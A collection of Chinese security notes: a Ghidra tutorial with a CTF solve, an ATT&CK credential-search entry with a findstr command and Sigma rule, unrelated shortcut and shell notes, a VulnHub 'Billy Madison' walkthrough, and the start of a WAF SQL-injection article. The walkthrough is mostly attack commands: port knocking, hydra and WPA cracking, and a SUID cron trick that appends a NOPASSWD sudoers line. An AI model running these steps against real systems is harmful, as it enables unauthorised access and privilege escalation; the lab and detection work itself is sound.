这个位于左上角的窗口,主要显示了程序头部以及各个段。我们可以在相应的文件夹上右击 ->Create Folder/Create Fragment,来创建文件夹或者分段。这个功能在用来分析大型项目的时候,效果比较显著。同样的,在文件夹上右击还能够进行排序 (Sort) 功能,提供了 by Address、by Name 两种功能可供选择。
我们可以通过选中 Listing 窗口中的代码块拖动到该窗口中来创建分段。也可以在不想要的时候,将相应的分段或者文件夹删除。需要注意的是,只有当删除的分段 / 文件夹包含于其他分段 / 文件夹中或者删除的分段 / 文件夹为空时,才能成功删除。
### Symbol Tree
符号树窗口位于左侧的中间位置,主要显示导入表 (Imports)、导出表(Exports)、函数(Function)、标签(Labels)、类(Classes) 以及命名空间(Namespaces)。
可以在 Imports 文件夹上右击 ->Create Library 来创建库。在想要的关联的 Imports 文件夹中的库上右键 ->Set External Program->选择想关联的外部程序来设置相应的外部关联程序。在一个父类 / 命名空间上右击 ->Create Class/Namespaces,可以创建类 / 命名空间。所有在 Namespace 中的命名空间,都在全局命名空间中。
### Data Type Manager
数据类型管理器窗口位于左下角,用来展示各种数据类型。可以让用户定位、组织数据类型,也能够将数据类型应用于程序。Ghidra 的一个长期目标,就是让用户能够搭建数据类型的库,并在不同的程序、项目甚至用户之间分享使用。
Ghidra 支持三类数据类型: Built-in、user defined、derived
| 类型 | 描述 |
|:----|:----|
|Built-in | 直接由 Java 实现并被用于基本的标准类型,比如 byte、word、string 等等,不能被改变或重命名 |
|user defined | 有四个用户定义 (user defined) 的数据类型,分别是 Structures、Unions、Enums 和 Typedefs,可以被创建、修改及重命名 |
|derived | 两种派生的数据类型: Pointers(指针)和 Arrays(数组),可以被创建与删除,但是名字由其基本类型决定 |
以当前这个测试项目为例,Ghidra 在分析完后,会自动生成 BuiltInTypes 列表,同时还会根据程序的架构等生成相应的数据类型列表。比如这里是 windows_vs12_32
### Decompile
反编译窗口,位于右侧。在Listing窗口中浏览到函数时,反编译窗口会显示将其反编译成C/C++语言后的结果,功能上类似于IDA的F5。
可以通过右上角的导出按钮,把相应的函数导出成C文件。
### Console
控制台窗口,位于最下方,用来显示各种脚本的输出等。脚本管理器位于 Window->Script Manager ,里面有很多 Ghidra 自带的脚本。
其中大多数为 .java 的脚本,还有部分为 .py 的脚本。选择一个脚本,点击运行,Ghidra 便会加载该脚本,并将输出显示在控制台窗口中(如果有的话)。
下面结合一个具体实例,来演示下 Ghidra 的使用。
---
## CTF实例
我这里选择的是[BugKuCTF平台](https://ctf.bugku.com/challenges)的逆向题的[RE_Cirno](https://ctf.bugku.com/files/3c8bece7183bf76637d12d214d0809ec/RE_Cirno.jpg)题目。这个题目的附件是个 .jpg文件,使用010打开该文件,会发现下方有个未知填充块。
熟悉文件头的人都知道,PK..是压缩包的文件头,如果不熟悉的话,也可以用 binwalk 分离出来。
```plain
binwalk -Me RE_Cirno.jpg
```
解压,得到 re.exe。在命令行中运行re.exe,得到如下提示。
把 re.exe 拖到 Ghidra 中打开,进行分析。由于有按任意键继续,猜测使用了system("pause")函数。在上方的Search->For Strings->中查找pause
通过点击右边的交叉引用,找到关键函数
Windows->Function Graph 可以看到该函数地图形化显示
在右侧的反编译窗口,将关键的代码段拷贝下来
```plain
uint local_70;
uint local_6c;
int local_68;
int local_64 [24];
local_64[0] = 0x73;
local_64[1] = 0x5e;
local_64[2] = 0x61;
local_64[3] = 0x72;
local_64[4] = 0x67;
local_64[5] = 0x2f;
local_64[6] = 0x6b;
local_64[7] = 0x72;
local_64[8] = 0x41;
local_64[9] = 0x30;
local_64[10] = 0x31;
local_64[11] = 0x69;
local_64[12] = 0x75;
local_64[13] = 0x76;
local_64[14] = 0x65;
local_64[15] = 0x30;
local_64[16] = 0x71;
local_64[17] = 0x5f;
local_64[18] = 99;
local_64[19] = 0x2f;
local_64[20] = 0x5c;
local_64[21] = 0x74;
local_64[22] = 0x5d;
local_64[23] = 0x66;
local_68 = 0;
while (local_68 < 0x18) {
local_70 = local_64[local_68] + 9U ^ 9;
local_68 = local_68 + 1;
local_6c = local_70;
}
```
只需简单修改下,即可编译运行。
得到字符串
```plain
uncry1}rC03{wvg0sae1ltof
```
根据上面的提示反方向围住,将该字符串颠倒下
```plain
fotl1eas0gvw{30Cr}1yrcnu
```
然后解栅栏密码,得到 flag
之所以拿这道题目举例,是因为同样的程序在 ida 7.0 的 反编译如下:
可以注意到是没有异或符号的,而在反汇编中,我们可以清楚地看到存在异或操作。暂不清楚,新版本 IDA 是否修复该 bug。
|
sec-knowleage
|
# T1552-001-win-文件中的凭证
## 来自ATT&CK的描述
攻击者可以在本地文件系统和远程文件共享中搜索包含密码的文件。这些文件可以是用户创建的文件,用于存储自己的凭证,一组共享的凭证,包含系统或服务密码的配置文件,或包含嵌入密码的源代码/二进制文件。
可以通过窃取凭证技术从备份或保存的虚拟机中提取密码。也可以从存储在Windows域控制器上的组策略首选项获取密码。
## 测试案例
findstr是window系统自带的命令,用途是查找指定的一个或多个文件文件中包含(或通过参数 /V来控制不包含)某些特定字符串的行,并将该行完整的信息打印出来,或者打印查询字符串所在的文件名。其用途和用法都类似linux下的grep命令。
findstr命令具体用法可参考微软相关说明:<https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/findstr>
## 检测日志
windows 安全日志
## 测试复现
```yml
C:\Users\Administrator>findstr /ni /c:"password" test.txt
19:password
```
## 测试留痕
windows安全日志
```yml
已创建新进程。
创建者主题:
安全 ID: QAX\Administrator
帐户名: Administrator
帐户域: QAX
登录 ID: 0x7169C
目标主题:
安全 ID: NULL SID
帐户名: -
帐户域: -
登录 ID: 0x0
进程信息:
新进程 ID: 0xc14
新进程名称: C:\Windows\System32\findstr.exe
令牌提升类型: %%1936
强制性标签: Mandatory Label\High Mandatory Level
创建者进程 ID: 0x304
创建者进程名称: C:\Windows\System32\cmd.exe
进程命令行: findstr /ni /c:"password" test.txt
```
## 检测规则/思路
### Sigma规则
```yml
title: widnows下利用findstr命令查找用户凭证
status: 测试阶段
description: 利用findstr命令查找指定文件内包含password关键词信息
tags:
- attack.t1552-001
logsource:
category: process_creation
product: windows
detection:
selection:
Eventid:
- 4688 #进程创建,windows 安全日志,Windows server 2012及以上版本配置相关审核策略,可记录系统命令行参数
CommandLine|contains|all:
- 'findstr'
- 'password'
condition: selection
level: medium
```
## 建议
虽然在不知道它们最初存在的情况下,检测攻击者访问这些文件可能很困难,但可以检测到攻击者对它们已获取的凭据的使用。监视正在执行的进程的命令行参数中是否有可疑字词或正则表达式,它们表示攻击者可能正在搜索密码(例如:password,pwd,login,secure)。
## 参考推荐
MITRE-ATT&CK-T1552-001
<https://attack.mitre.org/techniques/T1552/001>
|
sec-knowleage
|
---
title: Spotify
date: 2022-11-23 16:23:31.699093
background: bg-[#65d46e]
label:
tags:
-
-
categories:
- Keyboard Shortcuts
intro: |
A visual cheat-sheet for the 23 keyboard shortcuts found in Spotify
---
Keyboard Shortcuts
------------------
### General I
Shortcut | Action
---|---
`Ctrl` `N` | Create new playlist
`Ctrl` `X` | Cut
`Ctrl` `C` | Copy
`Ctrl` `Alt` `C` | Copy (alternative link)
`Ctrl` `V` | Paste
`Del` | Delete
`Ctrl` `A` | Select all
`Space` | Play/pause
`Ctrl` `Right` | Next track
`Ctrl` `Left` | Previous track
`Ctrl` `Up` | Volume up
{.shortcuts}
### General II
Shortcut | Action
---|---
`Ctrl` `Down` | Volume down
`Ctrl` `Shift` `Down` | Mute
`Ctrl` `Shift` `Up` | Max volume
`F1` | Show help
`Ctrl` `F` | Filter (in Songs and Playlists)
`Ctrl` `L` | Give focus to search field
`Alt` `Left` | Go back
`Alt` `Right` | Go forward
`Enter` | Play selected row
`Ctrl` `P` | Preferences
`Ctrl` `Shift` `W` | Logout active user
`Alt` `F4` | Quit
{.shortcuts}
Also see
--------
- [Keyboard shortcuts for Spotify](https://support.spotify.com/is/using_spotify/system_settings/keyboard-shortcuts/) _(support.spotify.com)_
|
sec-knowleage
|
wait
===
等待进程执行完后返回
## 补充说明
**wait命令** 用来等待指令的指令,直到其执行完毕后返回终端。该指令常用于shell脚本编程中,待指定的指令执行完成后,才会继续执行后面的任务。该指令等待作业时,在作业标识号前必须添加百分号"%"。
### 语法
```shell
wait(参数)
```
### 参数
进程或作业标示:指定进程号或者作业号。
### 实例
使用命令wait等待作业号为1的作业完成后再返回,输入如下命令:
运行一个sleep进程
```shell
sleep 10s &
[1] 27156
```
指定作业号
```shell
wait %1 #等待作业号为1的作业完成
[1]+ Done sleep 10s
```
指定进程号
```shell
wait 27156
[1]+ Done sleep 10s
```
输出当前存在作业号的指令,如下所示:
[jobs](./jobs.md)
|
sec-knowleage
|
# BILLY MADISON 1.1
> https://download.vulnhub.com/billymadison/BillyMadison1dot1.zip
靶场IP:`192.168.32.170`

扫描对外端口
```
┌──(root💀kali)-[/tmp]
└─# nmap -p1-65535 192.168.32.170 1 ⚙
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-14 03:26 EDT
Nmap scan report for 192.168.32.170
Host is up (0.00031s latency).
Not shown: 65526 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
23/tcp open telnet
69/tcp open tftp
80/tcp open http
137/tcp closed netbios-ns
138/tcp closed netbios-dgm
139/tcp open netbios-ssn
445/tcp open microsoft-ds
2525/tcp open ms-v-worlds
MAC Address: 00:0C:29:77:80:08 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 105.08 seconds
```
测试smb
```
┌──(root💀kali)-[/tmp]
└─# smbclient -L 192.168.32.170
Enter WORKGROUP\root's password:
Sharename Type Comment
--------- ---- -------
EricsSecretStuff Disk
IPC$ IPC IPC Service (BM)
SMB1 disabled -- no workgroup available
```
建立共享`EricsSecretStuff`目录
```
┌──(root💀kali)-[/tmp]
└─# smbclient //192.168.32.170/EricsSecretStuff
Enter WORKGROUP\root's password:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Thu Jul 14 22:29:47 2022
.. D 0 Sat Aug 20 14:56:45 2016
._.DS_Store AH 4096 Wed Aug 17 10:32:07 2016
ebd.txt N 35 Thu Jul 14 22:29:47 2022
.DS_Store AH 6148 Wed Aug 17 10:32:12 2016
30291996 blocks of size 1024. 25917156 blocks available
smb: \> get ebd.txt
getting file \ebd.txt of size 35 as ebd.txt (34.2 KiloBytes/sec) (average 34.2 KiloBytes/sec)
smb: \>
```
查看`ebd.txt`文件
```
┌──(root💀kali)-[/tmp]
└─# cat ebd.txt
Erics backdoor is currently CLOSED
```
访问23端口
```
┌──(root💀kali)-[/tmp]
└─# nc 192.168.32.170 23
***** HAHAH! You're banned for a while, Billy Boy! By the way, I caught you trying to hack my wifi - but the joke's on you! I don't use ROTten passwords like rkfpuzrahngvat anymore! Madison Hotels is as good as MINE!!!! *****
```
> 哈哈哈!你被禁止了一段时间,比利男孩!顺便说一句,我发现你试图破解我的无线网络 - 但笑话在你身上!我不再使用像 rkfpuzrahngvat 这样的 ROTten 密码了!麦迪逊酒店和我的一样好!!!!
根据提示,rkfpuzrahngvat是ROTten加密
```
┌──(root💀kali)-[/tmp]
└─# echo rkfpuzrahngvat | tr a-z n-za-m
exschmenuating
```
访问80端口

后缀加上`exschmenuating`

根据提示
```
OMg LOL LOL LOL!!! What a twit - I can't believe she fell for it!! I .captured the whole thing in this folder for later lulz. I put "veronica" somewhere in the file name because I bet you a million dollars she uses her name as part of her passwords - if that's true, she rocks! Anyway, malware installation successful. I'm now in complete control of Bill's machine!
```
找到`veronica`单词的文件名,需要爆破
```
┌──(root💀kali)-[/tmp]
└─# grep 'veronica' /usr/share/wordlists/rockyou.txt > dict 127 ⨯
┌──(root💀kali)-[/tmp]
└─# wfuzz -c --hc=404 -z file,dict http://192.168.32.170/exschmenuating/FUZZ.cap
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.32.170/exschmenuating/FUZZ.cap
Total requests: 773
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000772: 200 24 L 162 W 1080 Ch "#0104veronica"
000000766: 200 192 L 800 W 8528 Ch "012987veronica"
000000571: 400 10 L 35 W 306 Ch "veronica$%"
Total time: 0.638908
Processed Requests: 773
Filtered Requests: 770
Requests/sec.: 1209.876
```
数据包链接:
```
http://192.168.32.170/exschmenuating/012987veronica.cap
```
分析数据包有几封邮件
```
EHLO kali
MAIL FROM:<eric@madisonhotels.com>
RCPT TO:<vvaughn@polyfector.edu>
DATA
Date: Sat, 20 Aug 2016 21:56:50 -0500
To: vvaughn@polyfector.edu
From: eric@madisonhotels.com
Subject: VIRUS ALERT!
X-Mailer: swaks v20130209.0 jetmore.org/john/code/swaks/
Hey Veronica,
Eric Gordon here.
I know you use Billy's machine more than he does, so I wanted to let you know that the company is rolling out a new antivirus program for all work-from-home users. Just <a href="http://areallyreallybad.malware.edu.org.ru/f3fs0azjf.php">click here</a> to install it, k?
Thanks. -Eric
.
QUIT
```
```
EHLO kali
MAIL FROM:<vvaughn@polyfector.edu>
RCPT TO:<eric@madisonhotels.com>
DATA
Date: Sat, 20 Aug 2016 21:57:00 -0500
To: eric@madisonhotels.com
From: vvaughn@polyfector.edu
Subject: test Sat, 20 Aug 2016 21:57:00 -0500
X-Mailer: swaks v20130209.0 jetmore.org/john/code/swaks/
RE: VIRUS ALERT!
Eric,
Thanks for your message. I tried to download that file but my antivirus blocked it.
Could you just upload it directly to us via FTP? We keep FTP turned off unless someone connects with the "Spanish Armada" combo.
https://www.youtube.com/watch?v=z5YU7JwVy7s
-VV
.
QUIT
```
```
EHLO kali
MAIL FROM:<eric@madisonhotels.com>
RCPT TO:<vvaughn@polyfector.edu>
DATA
Date: Sat, 20 Aug 2016 21:57:11 -0500
To: vvaughn@polyfector.edu
From: eric@madisonhotels.com
Subject: test Sat, 20 Aug 2016 21:57:11 -0500
X-Mailer: swaks v20130209.0 jetmore.org/john/code/swaks/
RE[2]: VIRUS ALERT!
Veronica,
Thanks that will be perfect. Please set me up an account with username of "eric" and password "ericdoesntdrinkhisownpee."
-Eric
.
QUIT
```
```
EHLO kali
MAIL FROM:<vvaughn@polyfector.edu>
RCPT TO:<eric@madisonhotels.com>
DATA
Date: Sat, 20 Aug 2016 21:57:21 -0500
To: eric@madisonhotels.com
From: vvaughn@polyfector.edu
Subject: test Sat, 20 Aug 2016 21:57:21 -0500
X-Mailer: swaks v20130209.0 jetmore.org/john/code/swaks/
RE[3]: VIRUS ALERT!
Eric,
Done.
-V
.
QUIT
```
```
EHLO kali
MAIL FROM:<eric@madisonhotels.com>
RCPT TO:<vvaughn@polyfector.edu>
DATA
Date: Sat, 20 Aug 2016 21:57:31 -0500
To: vvaughn@polyfector.edu
From: eric@madisonhotels.com
Subject: test Sat, 20 Aug 2016 21:57:31 -0500
X-Mailer: swaks v20130209.0 jetmore.org/john/code/swaks/
RE[4]: VIRUS ALERT!
Veronica,
Great, the file is uploaded to the FTP server, please go to a terminal and run the file with your account - the install will be automatic and you won't get any pop-ups or anything like that. Thanks!
-Eric
.
QUIT
```
```
EHLO kali
MAIL FROM:<vvaughn@polyfector.edu>
RCPT TO:<eric@madisonhotels.com>
DATA
Date: Sat, 20 Aug 2016 21:57:41 -0500
To: eric@madisonhotels.com
From: vvaughn@polyfector.edu
Subject: test Sat, 20 Aug 2016 21:57:41 -0500
X-Mailer: swaks v20130209.0 jetmore.org/john/code/swaks/
RE[5]: VIRUS ALERT!
Eric,
I clicked the link and now this computer is acting really weird. The antivirus program is popping up alerts, my mouse started to move on its own, my background changed color and other weird stuff. I'm going to send this email to you and then shut the computer down. I have some important files I'm worried about, and Billy's working on his big 12th grade final. I don't want anything to happen to that!
-V
.
QUIT
```
邮件中发现:https://www.youtube.com/watch?v=z5YU7JwVy7s 默认情况下FTP是关闭的,需要旁敲端口将其激活,通过查看Youtube视频,得到了端口敲门顺序:`1466 67 1469 1514 1981 1986`
```
┌──(root💀kali)-[/tmp]
└─# knock 192.168.32.170 1466 67 1469 1514 1981 1986
┌──(root💀kali)-[/tmp]
└─# nmap -p21 192.168.32.170
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-14 23:11 EDT
Nmap scan report for 192.168.32.170
Host is up (0.00027s latency).
PORT STATE SERVICE
21/tcp open ftp
MAC Address: 00:0C:29:77:80:08 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds
```
> ```
> #!/usr/bin/python
> # Import scapy
> from scapy.all import *
> conf.verb = 0
> ports = [1466, 67, 1469, 1514, 1981, 1986]
> target = "10.0.2.46"
> # Knock on every port
> for dport in range(0, len(ports)):
> print "[*] Knocking on ", target, ports[dport]
> ip = IP(dst=target)
> SYN = ip/TCP(dport=ports[dport], flags="S", window=2048, options=[('MSS',1460)], seq=0)
> send(SYN) ; print "*KNOCK*"
> #Connect to the now open FTP port
> print "[*] Connecting to FTP"
> subprocess.call("ftp 10.0.2.46", shell=True)
> ```
>
> ```
> ┌──(root💀kali)-[/tmp]
> └─# for x in 1466 67 1469 1514 1981 1986; do nmap -Pn --host-timeout 201 --max-retries 0 -p $x 192.168.32.170; done
> ```
>
> 另外两种端口敲门方式
使用邮件的账号密码登录FTP服务器
```
eric:ericdoesntdrinkhisownpee
```

```
┌──(root💀kali)-[/tmp]
└─# cat .notes
Ugh, this is frustrating.
I managed to make a system account for myself. I also managed to hide Billy's paper
where he'll never find it. However, now I can't find it either :-(.
To make matters worse, my privesc exploits aren't working.
One sort of worked, but I think I have it installed all backwards.
If I'm going to maintain total control of Billy's miserable life (or what's left of it)
I need to root the box and find that paper!
Fortunately, my SSH backdoor into the system IS working.
All I need to do is send an email that includes
the text: "My kid will be a ________ _________"
Hint: https://www.youtube.com/watch?v=6u7RsW5SAgs
The new secret port will be open and then I can login from there with my wifi password, which I'm
sure Billy or Veronica know. I didn't see it in Billy's FTP folders, but didn't have time to
check Veronica's.
-EG
```
继续……所以显然目标上有一个后门。我们可以通过发送带有特定短语的电子邮件来启用后门。观看链接的 YouTube 视频后,我认为这句话是`My kid will be a soccer player`. 我发送一封电子邮件,其中包含使用`swaks`.
```
┌──(root💀kali)-[/opt]
└─# swaks --to eric@madisonhotels.com --from vvaughn@polyfector.edu --server 192.168.32.170:2525 --body "My kid will be a soccer player" --header "Subject: My kid will be a soccer player"
=== Trying 192.168.32.170:2525...
=== Connected to 192.168.32.170.
<- 220 BM ESMTP SubEthaSMTP null
-> EHLO kali
<- 250-BM
<- 250-8BITMIME
<- 250-AUTH LOGIN
<- 250 Ok
-> MAIL FROM:<vvaughn@polyfector.edu>
<- 250 Ok
-> RCPT TO:<eric@madisonhotels.com>
<- 250 Ok
-> DATA
<- 354 End data with <CR><LF>.<CR><LF>
-> Date: Fri, 15 Jul 2022 02:19:12 -0400
-> To: eric@madisonhotels.com
-> From: vvaughn@polyfector.edu
-> Subject: My kid will be a soccer player
-> Message-Id: <20220715021912.003478@kali>
-> X-Mailer: swaks v20201014.0 jetmore.org/john/code/swaks/
->
-> My kid will be a soccer player
->
->
-> .
<- 250 Ok
-> QUIT
<- 221 Bye
=== Connection closed with remote host.
```
> 又或者这样
>
> ```
> #!/usr/bin/python
>
> import smtplib
>
> server = smtplib.SMTP('10.0.2.46', 2525)
> fromaddr = "eric@madisonhotels.com"
> toaddr = "vvaughn@polyfector.edu"
> msg = "My kid will be a soccer player"
> server.sendmail(fromaddr, toaddr, msg)
> server.quit()
> ```
然后我执行另一次`nmap`扫描。果然,我们发现一个新的端口打开了。

现在我需要密码。回到之前的电子邮件线索,我记得 Veronica "Rocks",而且她可能在密码中使用了她的名字。有了这些信息,我从 rockyou 创建了一个包含单词"veronica"的单词表。
```
┌──(root💀kali)-[/tmp]
└─# hydra -l veronica -P dict ftp://192.168.32.170
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-07-15 02:28:22
[DATA] max 16 tasks per 1 server, overall 16 tasks, 773 login tries (l:1/p:773), ~49 tries per task
[DATA] attacking ftp://192.168.32.170:21/
[21][ftp] host: 192.168.32.170 login: veronica password: babygirl_veronica07@yahoo.com
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-07-15 02:28:41
```
登录FTP服务器
```
┌──(root💀kali)-[/tmp]
└─# ftp 192.168.32.170 255 ⨯
Connected to 192.168.32.170.
220 Welcome to ColoradoFTP - the open source FTP server (www.coldcore.com)
Name (192.168.32.170:root): veronica
331 User name okay, need password.
Password:
230 User logged in, proceed.
Remote system type is UNIX.
ftp> dir
200 PORT command successful.
150 Opening A mode data connection for /.
-rwxrwxrwx 1 ftp 719128 Aug 17 12:16 eg-01.cap
-rwxrwxrwx 1 ftp 595 Aug 20 12:55 email-from-billy.eml
226 Transfer completed.
ftp> bin
200 Type set to I
ftp> get eg-01.cap
local: eg-01.cap remote: eg-01.cap
200 PORT command successful.
150 Opening I mode data connection for eg-01.cap.
226 Transfer completed for "eg-01.cap".
719128 bytes received in 0.74 secs (948.2698 kB/s)
ftp> get email-from-billy.eml
local: email-from-billy.eml remote: email-from-billy.eml
200 PORT command successful.
150 Opening A mode data connection for email-from-billy.eml.
226 Transfer completed for "email-from-billy.eml".
616 bytes received in 0.46 secs (1.3217 kB/s)
```
> 可能你使用的传输模式是ASCII,这个模式只能用于传输文字文件。
>
> 可以尝试切换成二进制模式获取文件试一下。
>
> ```
> ftp> bin
> ```
>
> 在我使用get命令获取zip文件时发现了这个问题总是缺少几k从而倒是压缩包不完整解压失败,使用bin模式就好起来了。
>
> <img src="../../.gitbook/assets/image-20220715145631132.png" alt="image-20220715145631132" data-size="original">
查看邮件信息
```
┌──(root💀kali)-[/tmp]
└─# cat email-from-billy.eml
Sat, 20 Aug 2016 12:55:45 -0500 (CDT)
Date: Sat, 20 Aug 2016 12:55:40 -0500
To: vvaughn@polyfector.edu
From: billy@madisonhotels.com
Subject: test Sat, 20 Aug 2016 12:55:40 -0500
X-Mailer: swaks v20130209.0 jetmore.org/john/code/swaks/
Eric's wifi
Hey VV,
It's your boy Billy here. Sorry to leave in the middle of the night but I wanted to crack Eric's wireless and then mess with him.
I wasn't completely successful yet, but at least I got a start.
I didn't walk away without doing my signature move, though. I left a flaming bag of dog poo on his doorstep. :-)
Kisses,
Billy
```
该电子邮件为我们提供了有关数据包捕获和 ssh 密码的线索,数据包捕获包含破解 WPA/WPA2 密码所需的 4 次握手。这可以通过 aircrack-ng 或 hashcat 来完成。
aircrack-ng爆破密码
```
┌──(root💀kali)-[/tmp]
└─# aircrack-ng eg-01.cap -w /usr/share/wordlists/rockyou.txt
```


> hashcat爆破
>
> ```
> aircrack-ng eg-01.cap -J eg-01-hc.cap
> hashcat -m 2500 eg-01-hc.cap.hccap /usr/share/wordlists/rockyou.txt -w 4
> ```
找到密码是`triscuit*`,登录SSH
```
┌──(root💀kali)-[/tmp]
└─# ssh eric@192.168.32.170 -p 1974
The authenticity of host '[192.168.32.170]:1974 ([192.168.32.170]:1974)' can't be established.
ECDSA key fingerprint is SHA256:Iz1zMYr38vrfL6+fiW0fdOAxC2ymMj/um0B6LxPAOLM.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.32.170]:1974' (ECDSA) to the list of known hosts.
eric@192.168.32.170's password:
Welcome to Ubuntu 16.04.1 LTS (GNU/Linux 4.4.0-36-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
37 packages can be updated.
0 updates are security updates.
Last login: Sat Aug 20 22:28:28 2016 from 192.168.3.101
eric@BM:~$
```
让我们看看我们在`eric's`主目录中有什么可用的。
```
eric@BM:~$ ls -al
total 532
drwxr-xr-x 3 eric eric 4096 Aug 23 2016 .
drwxr-xr-x 6 root root 4096 Aug 20 2016 ..
-rw-r--r-- 1 eric eric 220 Aug 20 2016 .bash_logout
-rw-r--r-- 1 eric eric 3771 Aug 20 2016 .bashrc
drwx------ 2 eric eric 4096 Aug 20 2016 .cache
-rw-r--r-- 1 root root 451085 Aug 7 2016 eric-tongue-animated.gif
-rw-r--r-- 1 root root 60710 Aug 7 2016 eric-unimpressed.jpg
-rw-r--r-- 1 eric eric 655 Aug 20 2016 .profile
-rw-r--r-- 1 root root 115 Aug 20 2016 why-1974.txt
eric@BM:~$ cat why-1974.txt
Why 1974? Because: http://www.metacafe.com/watch/an-VB9KuJtnh4bn/billy_madison_1995_billy_hangs_out_with_friends/
```
我检查了两张图片,但没有任何有趣的东西出来。
是时候尝试提升了。
经过一番挖掘,并根据之前的发现,它看起来`eric`最初使用了许多漏洞利用之一来提升到`root`. 这些漏洞似乎都不再起作用,但是`suid`发现了一个有趣的文件。
```
eric@BM:~$ find / -user root -perm -4000 -ls 2>/dev/null
1454477 368 -r-sr-s--- 1 root eric 372922 Aug 20 2016 /usr/local/share/sgml/donpcgd
1048829 136 -rwsr-xr-x 1 root root 136808 May 4 2016 /usr/bin/sudo
1058216 24 -rwsr-xr-x 1 root root 23376 Jan 17 2016 /usr/bin/pkexec
1048745 56 -rwsr-xr-x 1 root root 54256 Mar 29 2016 /usr/bin/passwd
1057557 36 -rwsr-xr-x 1 root root 32944 Mar 29 2016 /usr/bin/newgidmap
1048609 40 -rwsr-xr-x 1 root root 40432 Mar 29 2016 /usr/bin/chsh
1048670 76 -rwsr-xr-x 1 root root 75304 Mar 29 2016 /usr/bin/gpasswd
1057558 36 -rwsr-xr-x 1 root root 32944 Mar 29 2016 /usr/bin/newuidmap
1048734 40 -rwsr-xr-x 1 root root 39904 Mar 29 2016 /usr/bin/newgrp
1048607 52 -rwsr-xr-x 1 root root 49584 Mar 29 2016 /usr/bin/chfn
1058246 24 -rwsr-xr-x 1 root root 23288 Apr 29 2016 /usr/bin/ubuntu-core-launcher
1048930 12 -rwsr-xr-x 1 root root 10240 Feb 25 2014 /usr/lib/eject/dmcrypt-get-device
1057498 40 -rwsr-xr-x 1 root root 38984 Jun 30 2016 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
1318420 16 -rwsr-xr-x 1 root root 14864 Jan 17 2016 /usr/lib/policykit-1/polkit-agent-helper-1
1066069 420 -rwsr-xr-x 1 root root 428240 Aug 11 2016 /usr/lib/openssh/ssh-keysign
1056767 44 -rwsr-xr-- 1 root messagebus 42992 Apr 1 2016 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
1179709 40 -rwsr-xr-x 1 root root 40152 May 26 2016 /bin/mount
1179740 40 -rwsr-xr-x 1 root root 40128 Mar 29 2016 /bin/su
1179758 28 -rwsr-xr-x 1 root root 27608 May 26 2016 /bin/umount
1190647 32 -rwsr-xr-x 1 root root 30800 Mar 11 2016 /bin/fusermount
1179724 44 -rwsr-xr-x 1 root root 44680 May 7 2014 /bin/ping6
1179723 44 -rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping
1190681 140 -rwsr-xr-x 1 root root 142032 Feb 17 2016 /bin/ntfs-3g
```
如果我们提供两个路径,则会在第二个路径创建一个文件,该路径可由`eric`. 我们可以在_任何_位置创建文件,如下所示。
```js
eric@BM:~$ /usr/local/share/sgml/donpcgd /dev/null /etc/testing
#### mknod(/etc/testing,21b6,103)
eric@BM:~$ ls -lah /etc/testing
crw-rw-rw- 1 root root 1, 3 Sep 15 10:22 /etc/testing
```
我试图通过创建一个`cron.hourly`条目来利用这一点,该条目会将`eric`用户添加为`sudoer`.
```js
eric@BM:~$ touch /tmp/test
eric@BM:~$ /usr/local/share/sgml/donpcgd /tmp/test /etc/cron.hourly/test
#### mknod(/etc/cron.hourly/test,81b4,0)
eric@BM:~$ echo -e '#!/bin/bash\necho "eric ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > /etc/cron.hourly/test
eric@BM:~$ chmod +x /etc/cron.hourly/test
eric@BM:~$ cat /etc/cron.hourly/test
#!/bin/bash
echo "eric ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
```
现在,我等一个小时左右后,我检查一下是否可以`sudo`。
```js
eric@BM:~$ sudo su
root@BM:/home/eric# id
uid=0(root) gid=0(root) groups=0(root)
root@BM:/home/eric#
```
|
sec-knowleage
|
原文 by [tsrc博客](https://security.tencent.com/index.php/blog/msg/65)
## 背景
对于腾讯的业务来说,有两个方面决定着WAF能否发挥效果,一个是合适处理海量流量的架构,另一个关键因素则是规则系统。架构决定着WAF能否承受住海量流量的挑战,这个在之前的篇章中简单介绍过(详情见[主流WAF架构分析与探索](http://security.tencent.com/index.php/blog/msg/56) 、[WAF应用层实现的架构漫谈](http://security.tencent.com/index.php/blog/msg/63))。而规则系统则决定着WAF能否发挥完善的防护功能。
SQL注入是由于开发人员没有对用户的输入进行相关的过滤,而使用户的输入可以被带入到SQL语句中执行,所引发的一种高危漏洞。可能造成信息泄露,数据库数据泄露,入侵等重大影响的后果。腾讯WAF对此种类型漏洞的防护目标就是确保不造成上述重大影响。
本文介绍腾讯WAF如何针对SQL注入这种攻击进行防护。同时,最近TSRC与白帽子小伙伴们举办了一场SQL注入绕过挑战赛,发现了WAF规则系统一些不足之处,这里将详细介绍。
感谢各位参与的白帽子小伙伴的大力支持。
## 关键字防护
SQL注入最简单、粗暴但实用的方式就是检测一些关键字,通过把这些能造成影响的关键字加入黑名单,可以阻断大部分的利用代码。这类关键字主要包含几种:
1、 SQL语句的关键保留字,如select from,union select,drop table,into outfile等。
